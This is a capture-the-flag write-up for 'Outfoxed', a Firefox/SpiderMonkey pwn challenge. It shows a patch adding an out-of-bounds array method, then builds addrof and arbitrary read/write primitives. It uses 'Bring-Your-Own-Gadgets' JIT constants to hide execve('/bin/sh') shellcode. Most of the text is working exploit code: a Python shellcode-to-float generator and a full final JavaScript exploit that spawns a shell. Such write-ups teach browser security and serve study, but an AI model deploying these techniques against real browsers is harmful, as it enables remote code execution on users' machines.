Skip to the content.

A writeup for Outfoxed, my Firefox/SpiderMonkey pwn challenge, featured in corCTF 2021

Outfoxed

Note: Not all SpiderMonkey fundamentals will be explained, this is an excellent article which I used frequently for reference.

Analysis

A patch to the Firefox JavaScript engine (SpiderMonkey) is provided.

diff --git a/js/src/builtin/Array.cpp b/js/src/builtin/Array.cpp
--- a/js/src/builtin/Array.cpp
+++ b/js/src/builtin/Array.cpp
@@ -428,6 +428,29 @@ static inline bool GetArrayElement(JSCon
   return GetProperty(cx, obj, obj, id, vp);
 }
 
+static inline bool GetTotallySafeArrayElement(JSContext* cx, HandleObject obj,
+                                   uint64_t index, MutableHandleValue vp) {
+  if (obj->is<NativeObject>()) {
+    NativeObject* nobj = &obj->as<NativeObject>();
+    vp.set(nobj->getDenseElement(size_t(index)));
+    if (!vp.isMagic(JS_ELEMENTS_HOLE)) {
+      return true;
+    }
+
+    if (nobj->is<ArgumentsObject>() && index <= UINT32_MAX) {
+      if (nobj->as<ArgumentsObject>().maybeGetElement(uint32_t(index), vp)) {
+        return true;
+      }
+    }
+  }
+
+  RootedId id(cx);
+  if (!ToId(cx, index, &id)) {
+    return false;
+  }
+  return GetProperty(cx, obj, obj, id, vp);
+}
+
 static inline bool DefineArrayElement(JSContext* cx, HandleObject obj,
                                       uint64_t index, HandleValue value) {
   RootedId id(cx);
@@ -2624,6 +2647,7 @@ enum class ArrayAccess { Read, Write };
 template <ArrayAccess Access>
 static bool CanOptimizeForDenseStorage(HandleObject arr, uint64_t endIndex) {
   /* If the desired properties overflow dense storage, we can't optimize. */
+
   if (endIndex > UINT32_MAX) {
     return false;
   }
@@ -3342,6 +3366,33 @@ static bool ArraySliceOrdinary(JSContext
   return true;
 }	
 
+bool js::array_oob(JSContext* cx, unsigned argc, Value* vp) {
+  CallArgs args = CallArgsFromVp(argc, vp);
+  RootedObject obj(cx, ToObject(cx, args.thisv()));
+  double index;
+  if (args.length() == 1) {
+    if (!ToInteger(cx, args[0], &index)) {
+      return false;
+    }
+    GetTotallySafeArrayElement(cx, obj, index, args.rval());
+  } else if (args.length() == 2) {
+    if (!ToInteger(cx, args[0], &index)) {
+      return false;
+    }
+    NativeObject* nobj =
+        obj->is<NativeObject>() ? &obj->as<NativeObject>() : nullptr;
+    if (nobj) {
+      nobj->setDenseElement(index, args[1]);
+    } else {
+      puts("Not dense");
+    }
+    GetTotallySafeArrayElement(cx, obj, index, args.rval());
+  } else {
+    return false;
+  }
+  return true;
+}
+
 /* ES 2016 draft Mar 25, 2016 22.1.3.23. */
 bool js::array_slice(JSContext* cx, unsigned argc, Value* vp) {
   AutoGeckoProfilerEntry pseudoFrame(
@@ -3569,6 +3620,7 @@ static const JSJitInfo array_splice_info
 };
 
 static const JSFunctionSpec array_methods[] = {
+    JS_FN("oob", array_oob, 2, 0),
     JS_FN(js_toSource_str, array_toSource, 0, 0),
     JS_SELF_HOSTED_FN(js_toString_str, "ArrayToString", 0, 0),
     JS_FN(js_toLocaleString_str, array_toLocaleString, 0, 0),
diff --git a/js/src/builtin/Array.h b/js/src/builtin/Array.h
--- a/js/src/builtin/Array.h
+++ b/js/src/builtin/Array.h
@@ -113,6 +113,8 @@ extern bool array_shift(JSContext* cx, u
 
 extern bool array_slice(JSContext* cx, unsigned argc, js::Value* vp);
 
+extern bool array_oob(JSContext* cx, unsigned argc, Value* vp);
+
 extern JSObject* ArraySliceDense(JSContext* cx, HandleObject obj, int32_t begin,
                                  int32_t end, HandleObject result);

Summary -

We will start with the standard JS exploitation utility functions:

var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);

function ftoi(val) {
    f64_buf[0] = val;
    return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}

function itof(val) {
    // console.log(val)
    u64_buf[0] = Number(val & 0xffffffffn);
    u64_buf[1] = Number(val >> 32n);
    return f64_buf[0];
}

function arr2int(a, full) {
    let res = BigInt(0);
    for (var i = 0; i < a.length; i++) {
        res += BigInt(BigInt(a[i]) << BigInt(8*i));
    }
    // SpiderMonkey JS values have their top 11 bits as a tag.
    // If we want a JSValue we must remove these, else we can read
    // the full qword
    if (full) return res;
    return res & 0xffffffffffffn;
}

function int2arr(a) {
    let res = [];
    for (var i = 0; a > 0n; i++) {
        res[i] = a & 0xffn;
        a = a >> 8n;
    }
    return res;

}

Creating Primitives

Our exploit will require 3 primitives -

With some experimentation, I found that arrays of the form [1, 2, 3] and [1.1, 2.2, 3.3] are allocated in a totally different heap region from arrays such as:

let floatArr = [1.1, 2.2, 3.3, {b:1}]
let objArr = [{a:1}, {a:2}, {b:2}]
let typedArr = new Uint8Array(300);

(Could floatArr also be an array of objects? Probably. Do I want to mess with my exploit stability? No.) The purpose of each array is to overflow into the metadata of the next, because the elements of the array are allocated just after the metadata, making corruption convenient.

I’ve found that the offsets between objects tend to be fairly constant (even between the JS shell and the browser!), but opted to resolve them dynamically to increase stability.

// Resolve floatArr OOB index
function ResolveFA() {
    // Not totally sure what this constant is, but it appears 16 bytes before the first objArr pointer
    for (var i = 0; i < 20; i++) {
        if (ftoi(floatArr.oob(i)) == 0x300000006n)
            return i - 2;
    }
}
FA = ResolveFA();
// Resolve objArr OOB index
function ResolveOA() {
    // Not totally sure what this constant is, but it appears 16 bytes before the typedArr backing pointer
    for (var i = 0; i < 20; i++) {
        if (ftoi(objArr.oob(i)) == 0x12cn)
            return i + 2;
    }
}

OA = ResolveOA();

Now, floatArr.oob(FA) will allow us to access the pointer to the elements of the objArr and objArr.oob(OA) will allow us to modify the backing pointer of the typedArray. The purpose of the first is to allow us to build an addrof primitive, and the second is to allow us to use our TypedArray access to write to memory directly, without needing to deal with any strange heap allocations or JSValue encoding.

Arbritrary read/write

function read(addr, count) {
    let bk = objArr.oob(OA);
    objArr.oob(OA, itof(addr));
    let ret = typedArr.slice(0, count);
    objArr.oob(OA, bk);
    return ret;
}

Our read primitive is simple - modify the backing store pointer of the typedArr, so that reading from said array will give us direct read access to the memory. The write primitive is essentially the inverse:

function write(addr, data) {
    let bk = objArr.oob(OA);
    objArr.oob(OA, itof(addr));
    for (var i = 0; i < data.length; i++) {
        typedArr[i] = Number(data[i]);
    }
    objArr.oob(OA, bk);
}

We pass an array of bytes and each is written to the array (i.e. the raw memory) sequentially. We also restore the original backing store pointer, in hopes of keeping stability.

function addrof(o) {
    objArr[0] = o;
    let addr = ftoi(floatArr.oob(FA));
    return arr2int(read(addr, 8), false);
}

Finally, our addrof primitive - we place our object into our objArr, then read the elements pointer of the objArr and read 8 bytes (the object pointer) from the elements array.

W^X bypass and RCE

In Chromium exploitation, this stage would now be simple. We would create a WASM object, creating an RWX mapping, and modify the backing store of a typed array in order to write our shellcode into it. In Firefox, it is a little more complex - JITted and WASM pages are first mapped RW, while compilation is happening, then re-protected as RX. Luckily, the doar-e article linked at the start of this writeup details a method to obtain arbritrary shellcode execution, ‘Bring-Your-Own-Gadgets’. Essentially, one can create a function of the form

function jitter() {
	const A = 0xCCCCCCCCCCCCCCCC; // Must be in float form to get around JSValue encoding
}

After running this enough times (roughly 5000 in my experimentation), IonMonkey will trigger, creating optimised machine code of the form

[ ... ]
mov r11, 0xCCCCCCCCCCCCCCCC
mov [rbp+0x40], r11

We may then slightly modify the function pointer of the JITted JSFunction, to jump ‘into our constant’. From here, we build up a chain of instructions, connected by a relative jump into the next constant. As the jump instruction is 2 bytes, we must restrict our instructions to a maximum of 6 bytes. For this, I wrote a small algorithm using Python to generate a function to be pasted into our JS exploit.

from pwn import *
import struct
context.arch = "amd64"

instructions = [
"mov ebx, 0x0068732f",
"shl rbx, 32",
"mov edx, 0x6e69622f",
"add rbx, rdx",
"push rbx",
"xor eax, eax",
"mov al, 0x3b",
"mov rdi, rsp",
"xor edx, edx",
"syscall"
]

# Marker constant
buf = [p64(0xdeadbeefbaadc0de), b""]
bytecode = [asm(i) for i in instructions]
jmp = asm("jmp $+8")
for i in bytecode:
    if len(buf[-1] + i) > 6:
        buf[-1] = buf[-1].ljust(6, b"\x90") + jmp
        buf.append(i)
    else:
        buf[-1] += i
buf[-1] = buf[-1].ljust(8, b"\x90")

for i,v in zip(instructions, bytecode):
    print(i, v)

for i, n in enumerate(buf):
    if len(n) > 8:
        print(f"ERROR: CHUNK {i} TOO LONG")
        print(disasm(n))
        exit()
    f = struct.unpack("d", n)[0]
    print(f"let {chr(i+65)} = {f};")

Now we are able to ‘heat up’ our function and get it JITted: for (var i = 0; i < 20000; i++) jitter(); I found this offset by returning inIon() from the function - this will return true when the function has been optimized by IonMonkey. I then added a few thousand to the loop counter for safety, and removed the inIon call.

Now, we need to track down the address of the actual JITted code. I found that addrof(jitter) + 40n contains a pointer to the JITInfo class, which itself contains a pointer to the actual JIT code.

f_addr = addrof(jitter);
jitinfo = f_addr + 40n;
f_ptr = arr2int(read(jitinfo, 8), true);
jitcode = arr2int(read(f_ptr, 8), true);
// jitcode is the address of our actual jit code
console.log("JIT Code located at " + jitcode.toString(16));

(The variable names are relics and not entirely accurate.) Originally, I searched through the JIT code page for 0xdeadbeefbaadc0de in order to dynamically resolve the offset to the constants:

var off = 0n;
var found = false;

for (off = 0n; off < 0x1000n; off++ ) {
    let val = arr2int(read(jitcode + off, 8), true);
    if (val == 0xdeadbeefbaadc0den) {
        found = true;
        break;
    }
    off++;
}

However, when testing the exploit in the browser, I discovered that after a certain number of read()s, my primitives appeared to stop working (likely due to a busier heap causing my arrays to reallocated.) I also noticed that the offset to the constants was constant (even between shell and browser), so opted to hardcode the offset. NOTE: When dynamically resolving offsets, I discovered that if the function is large enough (in my case, containing more than 7 constants), the constants appeared at a lower address than the JIT pointer (probably jumped back to at some point.) For this reason, you may want to use the range -0x500 -> 0x500 while searching. Finally, we can rewrite the JIT pointer and execute our payload:

found = true;
console.log(off);

if (found) {
    write(f_ptr, int2arr(jitcode + off + 14n));
    console.log((jitcode + off + 14n).toString(16));
} else {
    console.log("Marker not found");
}
jitter()

MOZ_DISABLE_CONTENT_SANDBOX=1 ./obj/release/dist/bin/firefox ./sploit.html A shell will open on the command line once the script loads and runs.

Final Exploit

My full, final exploit is below:

var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
let buf2 = new ArrayBuffer(0x150);

function ftoi(val) {
    f64_buf[0] = val;
    return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}

function itof(val) {
    // console.log(val)
    u64_buf[0] = Number(val & 0xffffffffn);
    u64_buf[1] = Number(val >> 32n);
    return f64_buf[0];
}

function arr2int(a, full) {
    let res = BigInt(0);
    for (var i = 0; i < a.length; i++) {
        res += BigInt(BigInt(a[i]) << BigInt(8*i));
    }
    // SpiderMonkey JS values have their top 11 bits as tags
    // If we want a JSValue we must remove these, else we can read
    // the full qword
    if (full) return res;
    return res & 0xffffffffffffn;
}

function int2arr(a) {
    let res = [];
    for (var i = 0; a > 0n; i++) {
        res[i] = a & 0xffn;
        a = a >> 8n;
    }
    return res;

}

let floatArr = [1.1, 2.2, 3.3, {b:1}]
let objArr = [{a:1}, {a:2}, {b:2}]
let typedArr = new Uint8Array(300);

// Resolve floatArr OOB index
function ResolveFA() {
    // Not totally sure what this constant is, but it appears 16 bytes before the first objArr pointer
    for (var i = 0; i < 20; i++) {
        if (ftoi(floatArr.oob(i)) == 0x300000006n)
            return i - 2;
    }
}
FA = ResolveFA();
// Resolve objArr OOB index
function ResolveOA() {
    // Not totally sure what this constant is, but it appears 16 bytes before the typedArr backing pointer
    for (var i = 0; i < 20; i++) {
        if (ftoi(objArr.oob(i)) == 0x12cn)
            return i + 2;
    }
}

OA = ResolveOA();

console.log("OA: " + OA + ", FA: " + FA);
// OA = 13
// FA = 9
// Seems to be the same in browser + shell - resolve to be safe


// Change the backing store of the typedArray to our address and read `count` bytes out
function read(addr, count) {
    let bk = objArr.oob(OA);
    objArr.oob(OA, itof(addr));
    let ret = typedArr.slice(0, count);
    objArr.oob(OA, bk);
    return ret;
}

// Change the backing store of the typedArray to our address and write `count` bytes in
function write(addr, data) {
    console.log("Writing " + data + " to " + addr.toString(16));
    let bk = objArr.oob(OA);
    objArr.oob(OA, itof(addr));
    for (var i = 0; i < data.length; i++) {
        typedArr[i] = Number(data[i]);
    }
    objArr.oob(OA, bk);
}

function addrof(o) {
    objArr[0] = o;
    let addr = ftoi(floatArr.oob(FA));
    return arr2int(read(addr, 8), false);
}

// Compile our code to native -
// 0xdeadbeefbaadc0de will be used as a marker to locate the start of our constants
/*
   0x203fc11293c:	movabs r11,0xfffa80000000000b
   0x203fc112946:	mov    QWORD PTR [rbp-0x50],r11
   0x203fc11294a:	movabs r11,0xfffa80000000000b
   0x203fc112954:	mov    QWORD PTR [rbp-0x58],r11
   0x203fc112958:	movabs r11,0xfffa80000000000b
   0x203fc112962:	mov    QWORD PTR [rbp-0x60],r11
   0x203fc112966:	movabs r11,0xfffa80000000000b
   0x203fc112970:	mov    QWORD PTR [rbp-0x68],r11
   0x203fc112974:	movabs r11,0xfffa80000000000b
   0x203fc11297e:	mov    QWORD PTR [rbp-0x70],r11
   0x203fc112982:	movabs r11,0xdeadbeefbaadc0de   <--- Locate this marker
   0x203fc11298c:	mov    QWORD PTR [rbp-0x50],r11
   0x203fc112990:	movabs r11,<whatever>           <-- Jump here
   0x203fc11299a:	mov    QWORD PTR [rbp-0x58],r11
 */
// Each of our constants should be a short instruction (< 8 bytes), followed by a relative jump into the next
const jitter = function() {
    let A = -1.1885958399657559e+148;
    let B = 2.4877840611688293e-275;
    let C = 2.4879820007592195e-275;
    let D = 2.4879355641325583e-275;
    let E = 2.5047751329248284e-275;
    let F = 2.4881023834790942e-275;
    let G = -6.828523606692364e-229;
}
// Using the builtin `inIon()` function, I calculated the number of loops required
// to optimize the native JIT
for (var i = 0; i < 20000; i++) jitter();

// <function> + 5 * 8 is the JITInfo pointer
f_addr = addrof(jitter);
jitinfo = f_addr + 40n;
f_ptr = arr2int(read(jitinfo, 8), true);
jitcode = arr2int(read(f_ptr, 8), true);
// jitcode is the address of our actual jit code
console.log("JIT Code located at " + jitcode.toString(16));
// Resolve gadgets

// Locate our marker constant in the optimised code
var off = 0n;
var found = false;

/*
for (off = 0n; off < 0x1000n; off++ ) {
    let val = arr2int(read(jitcode + off, 8), true);
    if (val == 0xdeadbeefbaadc0den) {
        found = true;
        break;
    }
    off++;
}
 */
off = 402n;
found = true;
console.log(off);

if (found) {
    write(f_ptr, int2arr(jitcode + off + 14n));
    console.log((jitcode + off + 14n).toString(16));
} else {
    console.log("Marker not found");
}
jitter()